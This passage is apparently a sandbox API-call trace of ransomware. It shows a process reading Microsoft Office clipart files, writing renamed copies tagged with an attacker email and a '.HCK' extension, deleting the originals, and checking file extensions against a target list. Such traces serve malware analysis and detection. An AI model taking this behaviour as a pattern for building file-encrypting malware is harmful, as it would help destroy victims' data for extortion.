office\\root\\clipart\\pub60cor\\j0174635.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0240.370] GetLastError () returned 0x0 [0240.370] ReadFile (in: hFile=0x4b4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x2608, lpOverlapped=0x0) returned 1 [0240.371] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x2610, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x2610, lpOverlapped=0x0) returned 1 [0240.372] ReadFile (in: hFile=0x4b4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.372] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0240.372] SetEndOfFile (hFile=0x4bc) returned 1 [0240.372] CloseHandle (hObject=0x4bc) returned 1 [0240.372] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.372] SetEndOfFile (hFile=0x4b4) returned 1 [0240.374] CloseHandle (hObject=0x4b4) returned 1 [0240.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174635.wmf")) returned 1 [0240.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.376] lstrlenW (lpString=".doc") returned 4 [0240.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.376] lstrlenW (lpString=".docx") returned 5 [0240.376] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0240.376] lstrlenW (lpString=".pdf") returned 4 [0240.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.376] lstrlenW (lpString=".xls") returned 4 [0240.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.376] lstrlenW (lpString=".xlsx") returned 5 [0240.376] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0240.376] lstrlenW (lpString=".ppt") returned 4 [0240.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.376] lstrlenW (lpString=".zip") returned 4 [0240.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.376] lstrlenW (lpString=".rar") returned 4 [0240.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.376] lstrlenW (lpString=".bz2") returned 4 [0240.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.376] lstrlenW (lpString=".7z") returned 3 [0240.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.376] lstrlenW (lpString=".dbf") returned 4 [0240.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.376] lstrlenW (lpString=".1cd") returned 4 [0240.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.376] lstrlenW (lpString=".jpg") returned 4 [0240.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.376] lstrlenW (lpString=".doc") returned 4 [0240.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.376] lstrlenW (lpString=".docx") returned 5 [0240.376] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0240.376] lstrlenW (lpString=".pdf") returned 4 [0240.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.377] lstrlenW (lpString=".xls") returned 4 [0240.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.377] lstrlenW (lpString=".xlsx") returned 5 [0240.377] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0240.377] lstrlenW (lpString=".ppt") returned 4 [0240.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.377] lstrlenW (lpString=".zip") returned 4 [0240.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.377] lstrlenW (lpString=".rar") returned 4 [0240.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.377] lstrlenW (lpString=".bz2") returned 4 [0240.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.377] lstrlenW (lpString=".7z") returned 3 [0240.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.377] lstrlenW (lpString=".dbf") returned 4 [0240.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.377] lstrlenW (lpString=".1cd") returned 4 [0240.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174635.WMF") returned 68 [0240.377] lstrlenW (lpString=".jpg") returned 4 [0240.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.377] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0240.377] lstrlenW (lpString="J0174639.WMF") returned 12 [0240.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.378] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=5100) returned 1 [0240.378] CloseHandle (hObject=0x4b4) returned 1 [0240.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 0x220 [0240.378] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.378] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.379] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0240.379] GetLastError () returned 0x0 [0240.379] ReadFile (in: hFile=0x4b4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x13ec, lpOverlapped=0x0) returned 1 [0240.381] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x13f0, lpOverlapped=0x0) returned 1 [0240.381] ReadFile (in: hFile=0x4b4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.381] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0240.382] SetEndOfFile (hFile=0x4bc) returned 1 [0240.382] CloseHandle (hObject=0x4bc) returned 1 [0240.382] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.382] SetEndOfFile (hFile=0x4b4) returned 1 [0240.384] CloseHandle (hObject=0x4b4) returned 1 [0240.384] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.384] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174639.wmf")) returned 1 [0240.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.385] lstrlenW (lpString=".doc") returned 4 [0240.385] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.385] lstrlenW (lpString=".docx") returned 5 [0240.385] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0240.385] lstrlenW (lpString=".pdf") returned 4 [0240.385] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.385] lstrlenW (lpString=".xls") returned 4 [0240.385] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.386] lstrlenW (lpString=".xlsx") returned 5 [0240.386] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0240.386] lstrlenW (lpString=".ppt") returned 4 [0240.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.386] lstrlenW (lpString=".zip") returned 4 [0240.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.386] lstrlenW (lpString=".rar") returned 4 [0240.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString=".bz2") returned 4 [0240.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString=".7z") returned 3 [0240.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.386] lstrlenW (lpString=".dbf") returned 4 [0240.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.386] lstrlenW (lpString=".1cd") returned 4 [0240.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.386] lstrlenW (lpString=".jpg") returned 4 [0240.386] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.386] lstrlenW (lpString=".doc") returned 4 [0240.386] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString=".docx") returned 5 [0240.386] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0240.386] lstrlenW (lpString=".pdf") returned 4 [0240.386] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString=".xls") returned 4 [0240.386] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.386] lstrlenW (lpString=".xlsx") returned 5 [0240.386] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0240.386] lstrlenW (lpString=".ppt") returned 4 [0240.386] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.386] lstrlenW (lpString=".zip") returned 4 [0240.386] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.386] lstrlenW (lpString=".rar") returned 4 [0240.386] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString=".bz2") returned 4 [0240.386] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString=".7z") returned 3 [0240.386] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.386] lstrlenW (lpString=".dbf") returned 4 [0240.386] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.386] lstrlenW (lpString=".1cd") returned 4 [0240.386] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174639.WMF") returned 68 [0240.387] lstrlenW (lpString=".jpg") returned 4 [0240.387] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.387] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0240.387] lstrlenW (lpString="J0174952.JPG") returned 12 [0240.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.388] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=24982) returned 1 [0240.388] CloseHandle (hObject=0x4b4) returned 1 [0240.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg")) returned 0x220 [0240.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0240.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0240.389] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.389] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0240.390] GetLastError () returned 0x0 [0240.390] ReadFile (in: hFile=0x4b4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x6196, lpOverlapped=0x0) returned 1 [0240.392] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x61a0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x61a0, lpOverlapped=0x0) returned 1 [0240.524] ReadFile (in: hFile=0x4b4, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0240.524] WriteFile (in: hFile=0x4bc, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0240.524] SetEndOfFile (hFile=0x4bc) returned 1 [0240.524] CloseHandle (hObject=0x4bc) returned 1 [0240.525] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0240.525] SetEndOfFile (hFile=0x4b4) returned 1 [0240.527] CloseHandle (hObject=0x4b4) returned 1 [0240.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0240.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0174952.jpg")) returned 1 [0241.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.105] lstrlenW (lpString=".doc") returned 4 [0241.105] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.105] lstrlenW (lpString=".docx") returned 5 [0241.106] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0241.106] lstrlenW (lpString=".pdf") returned 4 [0241.106] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.106] lstrlenW (lpString=".xls") returned 4 [0241.106] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.106] lstrlenW (lpString=".xlsx") returned 5 [0241.106] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0241.106] lstrlenW (lpString=".ppt") returned 4 [0241.106] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.106] lstrlenW (lpString=".zip") returned 4 [0241.106] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.106] lstrlenW (lpString=".rar") returned 4 [0241.106] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.106] lstrlenW (lpString=".bz2") returned 4 [0241.106] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.106] lstrlenW (lpString=".7z") returned 3 [0241.106] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.106] lstrlenW (lpString=".dbf") returned 4 [0241.106] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.106] lstrlenW (lpString=".1cd") returned 4 [0241.106] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.106] lstrlenW (lpString=".jpg") returned 4 [0241.106] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.106] lstrlenW (lpString=".doc") returned 4 [0241.106] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0241.106] lstrlenW (lpString=".docx") returned 5 [0241.106] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0241.106] lstrlenW (lpString=".pdf") returned 4 [0241.106] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0241.106] lstrlenW (lpString=".xls") returned 4 [0241.106] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0241.106] lstrlenW (lpString=".xlsx") returned 5 [0241.106] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0241.106] lstrlenW (lpString=".ppt") returned 4 [0241.106] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0241.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.106] lstrlenW (lpString=".zip") returned 4 [0241.107] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0241.107] lstrlenW (lpString=".rar") returned 4 [0241.107] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0241.107] lstrlenW (lpString=".bz2") returned 4 [0241.107] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0241.107] lstrlenW (lpString=".7z") returned 3 [0241.107] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0241.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.107] lstrlenW (lpString=".dbf") returned 4 [0241.107] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0241.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.107] lstrlenW (lpString=".1cd") returned 4 [0241.107] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0241.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0174952.JPG") returned 68 [0241.107] lstrlenW (lpString=".jpg") returned 4 [0241.107] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0241.107] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0241.107] lstrlenW (lpString="J0175361.JPG") returned 12 [0241.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.108] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=46461) returned 1 [0241.108] CloseHandle (hObject=0x340) returned 1 [0241.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg")) returned 0x220 [0241.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0241.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0241.109] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.109] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0241.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0175361.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0175361.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0241.110] GetLastError () returned 0x0 [0241.110] ReadFile (in: hFile=0x340, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0xb57d, 